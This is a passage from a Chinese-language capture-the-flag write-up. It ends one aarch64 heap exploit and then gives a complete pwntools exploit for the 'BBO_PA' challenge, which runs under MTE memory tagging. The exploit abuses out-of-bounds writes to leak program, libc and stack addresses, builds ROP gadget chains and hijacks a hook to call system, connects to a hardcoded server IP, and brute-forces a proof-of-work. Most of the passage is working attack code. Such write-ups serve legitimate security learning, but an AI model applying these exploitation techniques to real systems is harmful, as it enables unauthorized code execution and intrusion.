        edit(3, - (0xe10 - 0x108 + 0xa0 - i), ((environ - 0x18) >> i*8) & 0xFF)
    
    lg('environ', environ)
    lg('libc_base', libc_base)
    lg('heap_base', heap_base)
    lg('stderr', stderr)
    
    add(0x100, b'a'*0x17) #index 4
    
    if mode:
        p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
        p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
        stack = u64(p.recv(6).ljust(8, b'\x00'))
    else:
        p.recvuntil(b'a'*0x17 + b'\n')
        stack = u64(p.recv(5).ljust(8, b'\x00'))

    lg('environ', environ)
    lg('libc_base', libc_base)
    lg('heap_base', heap_base)
    lg('stderr', stderr)
    lg('stack', stack)
    
    add(0x108, b'a') #index 5
    free(5)
    
    for i in range(0x8):
        edit(3, - (0xe10 - 0x108 + 0xa0 - i),  (stack - 0x198 - 0x10 >> i*8) & 0xFF)

    #0x000000000003e18c : ldr x2, [sp, #0x38] ; and w1, w1, #1 ; str x2, [x19] ; str w1, [x19, #8] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x50 ; ret
    # 0x0000000000120894 : add x0, sp, #0x10 ; blr x2 ; 
    
    pl = p64(0)*3 + p64(libc_base + 0x000000000003e18c)
    pl += b'b'*0x8 + p64(libc_base + 0x0000000000120894) + b'c'*0x28 + p64(system)
    pl = pl.ljust(0x80 ,b'd') + b'cat /dev/vda\x00'

    add(0x100, pl) #index 4

    lg('libc_base', libc_base)
    lg('free_hook', free_hook)
    lg('system', system)
    lg('stderr', stderr)
    lg('IO_obstack_jumps', IO_obstack_jumps)
    lg('stack', stack)

    sla(b'choice: ', b'4')

    p.recvuntil(b'Bye.\r\n')
    scret = p.recvuntil(b'\x00')[:-1]
    print('scret ----> ', scret, len(scret))
    sla(b'Give me secret:', scret)

while 1 : pr()

BBO_PA

该程序是相当于开启了 MTE 保护的自定义堆管理程序。

漏洞点同 BBO_PT ,可以正向和反向任意越界写。通过调试后发现,修改第一个申请堆块的地址 - 0x3f010 + 0x200 地方为特定地址,再将正偏移 0x18 处修改为 0,那么就可以任意分配到特定地址,如果要控制第二个进行任意地址分配,那么修改的偏移就 + 0x20,就可以实现无限任意地址分配。泄露内存信息后攻击程序上的 hook,并且通过 free 一个 >= 0x80 的堆块来劫持程序执行流。注意这里不能 free 一个小堆块或者打栈,free 小堆块很难找到合适的 gadget 实现 RCE,打栈会触发异常,导致溢出到返回地址的 gadget 被打上标签。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='aarch64', log_level='debug')
#p = process('./vuln')

remote_ip = '52.77.241.34'
remote_port = 10089

import string
import itertools
import re
from pwn import *
from hashlib import sha256

while 1:
    p = remote(remote_ip, remote_port)
    #p = remote('127.0.0.1', 10088)
    rev = p.recvuntil(b' == ').decode()
    pattern = r'xxxxx\+([a-zA-Z0-9]+)'
    rev = re.search(pattern, rev).group(1)
    target_digest = p.recv(64).decode()
    characters = string.ascii_letters + string.digits
    def generate_combinations(length):
        if length == 0:
            yield ''
        else:
            for char in characters:
                for suffix in generate_combinations(length - 1):
                    yield char + suffix
    result = ''
    all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
    top_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w']
    for top in top_list:
        print('top -> ' + top)
        for comb in all_combinations:
            proof = top + comb + rev
            digest = sha256(proof.encode("utf8")).hexdigest()
            if target_digest == digest:
                result = top + comb
                break
        if result:
            break
    if result:
        print('result -> ' + result)
        p.sendlineafter(b'xxxxx:', result)
        break
    else:
        print('try again') 
        p.close()

libc = ELF('lib/libc.so.6')

def add(size, data):
    sla(b'choice: ', b'1')
    sla(b'size: ', str(size))
    if len(data) < size:
        data += b'\n'
    sa(b'content: ', data)
    
def edit(idx, offset, value):
    sla(b'choice: ', b'2')
    sla(b'index: ', str(idx))
    sla(b'Offset: ', str(offset))
    sla(b'content: ', str(value))
    
def free(idx):
    sla(b'choice: ', b'3')
    sla(b'index: ', str(idx))

#p = process(['./run.sh', 'rootfs.img'])

env = {'GLIBC_TUNABLES': 'glibc.mem.tagging=1'}
cmd1 = ['qemu-aarch64', '-L', './', './pwn']
cmd2 = ['qemu-aarch64', '-L', './', '-g', '1234', './pwn']
#p = process(cmd1)

mode = 1

for kk in range(5):
    add(0x10, b'a') # index 0
    for i  in range(3):
        edit(0, -0x10 + i, 0xff)
    #edit(0, -1, 0)

    addr = 0x0011f0
    for i in range(4):
        edit(0, -0x3f010 + 0x200 + i, (addr >> i*8) & 0xFF)
    edit(0, -0x3f010 + 0x200 + 7, 0)
    
    for i in range(8):
        edit(0, -0x3f010 + 0x218 + i, 0)
    
    add(0x7f, b'b'*0xf) #index 1
    
    if mode:
        p.recvuntil(b'b'*0xf + b'\x0d\x0a')
        p.recvuntil(b'b'*0xf + b'\x0d\x0a')
        pro_base = u64(p.recvuntil(b'\x0d\x0a')[:-2].ljust(8, b'\x00')) - 0x109d30
    else:
        p.recvuntil(b'b'*0xf + b'\n')
        pro_base = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) + 0x5500000000 - 0x109d30
    
    for i  in range(3):
        edit(1, -0x10 + i, 0xff)
    
    add(0x20, b'b'*0xf) #index 2
    
    addr = pro_base + 0x102fc8 - 0x18
    for i in range(8):
        edit(1, 0x20 + i, (addr >> i*8) & 0xFF)
    
    for i in range(8):
        edit(1, 0x38 + i, 0)
    
    add(0x20, b'b'*0x7) #index 3
    
    if mode:
        p.recvuntil(b'b'*0x7 + b'\x0d\x0a')
        p.recvuntil(b'b'*0x7 + b'\x0d\x0a')
        libc_base = u64(p.recvuntil(b'\x0d\x0a')[:-2].ljust(8, b'\x00')) - 0x1714a0
    else:
        p.recvuntil(b'b'*0x7 + b'\n')
        libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - 0x1714a0
    
    environ = libc_base + libc.sym['__environ']
    stderr = libc_base + libc.sym['_IO_2_1_stderr_']
    system, binsh = get_sb()
    
    add(0x300, b'a') #index 4
    ptr = pro_base + 0x1027C8 - 0x18
    
    for i in range(8):
        edit(1, 0x40 + 0x20 + i, (ptr >> i*8) & 0xFF)
    
    for i in range(8):
        edit(1, 0x58 + 0x20 + i, 0)

    pl = b'cat /dev/vda\x00'.ljust(0x18, b'\x00')
    pl += p64(ptr)
    pl = pl.ljust(0x28) + p64(system)
    
    add(0x300, pl) #index 6
    
    free(4)	
    
    lg('pro_base', pro_base)
    lg('libc_base', libc_base)

    p.recvuntil(b'4\r\n')
    scret = p.recvuntil(b'\x00')[:-1]
    print('scret ----> ', scret, len(scret))
    sla(b'choice: ', b'4')
    p.recvuntil(b'Bye.\r\n')
    sla(b'Give me secret:', scret)

while 1 : pr()